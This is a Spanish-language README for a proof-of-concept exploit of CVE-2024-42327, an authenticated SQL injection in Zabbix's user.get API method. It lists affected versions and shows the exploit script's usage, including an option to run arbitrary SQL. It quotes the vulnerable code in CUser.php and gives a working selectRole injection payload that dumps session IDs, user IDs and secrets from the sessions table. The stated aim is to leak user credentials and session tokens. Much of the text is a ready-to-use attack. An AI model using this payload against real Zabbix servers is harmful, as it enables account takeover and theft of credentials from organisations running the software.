
POC para CVE-2024-42327, una inyección SQL autenticada en Zabbix a través del método de API user.get
POC para CVE-2024-42327, una inyección SQL autenticada en Zabbix a través del método API user.get. Este POC no está basado en tiempo como algunos de los otros POCs que he visto por ahí.
La vulnerabilidad existe en el endpoint de API user.get que puede ser explotada por un usuario no administrador con acceso a la API, incluyendo cuentas con el rol de Usuario predeterminado.
La falla de inyección SQL existe en la clase CUser en la función addRelatedObjects. Esta función es llamada desde la función CUser.get, que está disponible para usuarios con acceso a la API.
Un atacante puede inyectar comandos SQL manipulando las llamadas a la API.
La explotación exitosa de la vulnerabilidad puede permitir a un atacante obtener acceso y control no autorizados.
- 6.0.0 – 6.0.31
- 6.4.0 – 6.4.16
- 7.0.0
Este POC filtrará credenciales de usuario de la base de datos, así como tokens de sesión para autenticarse en la API.
Existe la opción de ejecutar una consulta SQL personalizada (--query).
python3 CVE-2024-42327_Zabbix_SQLI.py -h
usage: CVE-2024-42327_Zabbix_SQLI.py [-h] -u URL -U USERNAME -P PASSWORD [--query QUERY]
Accept a URL, USERNAME, PASSWORD, and an optional custom SQL query.
options:
-h, --help show this help message and exit
-u URL, --url URL The URL to Zabbix (please include the path - http://example.com/zabbix/)
-U USERNAME, --username USERNAME
The username to authenticate with
-P PASSWORD, --password PASSWORD
The password to authenticate with
--query QUERY An optional custom SQL query to run through the SQL Injection
python3 CVE-2024-42327_Zabbix_SQLI.py -u http://example.com/zabbix/ -U user -P password
Examinando el código en https://github.com/zabbix/zabbix/blob/7.0.0/ui/include/classes/api/services/CUser.php en la función addRelatedObjects, encontramos fácilmente la consulta SQL vulnerable (líneas 3046 - 3051)
$db_roles = DBselect(
'SELECT u.userid'.($options['selectRole'] ? ',r.'.implode(',r.', $options['selectRole']) : '').
' FROM users u,role r'.
' WHERE u.roleid=r.roleid'.
' AND '.dbConditionInt('u.userid', $userIds)
);
Es inmediatamente obvio que los valores incluidos en $options['selectRole'] se pasan a la consulta SQL.
Un JSON típico para alcanzar esta parte del código se ve así:
{
"jsonrpc": "2.0",
"auth": "AUTH_TOKEN_HERE",
"id": 1,
"method": "user.get",
"params": {
"output": [
"userid",
"username"
],
"selectRole": [
"type",
"roleid",
"name",
"readonly"
]
}
}
Podemos manipular los valores de "selectRole" para permitir la inyección SQL
"selectRole": ["name, (SELECT GROUP_CONCAT(sessionid, ', ', userid, ', ', secret, ' || ') FROM sessions)"]
La inyección anterior hace que la consulta SQL sea algo como lo siguiente:
SELECT u.userid.name, r.name, (SELECT GROUP_CONCAT(sessionid, ', ', userid, ', ', secret, ' || ') FROM sessions) FROM users u, role r WHERE u.roleid=r.roleid and u.userid in (1)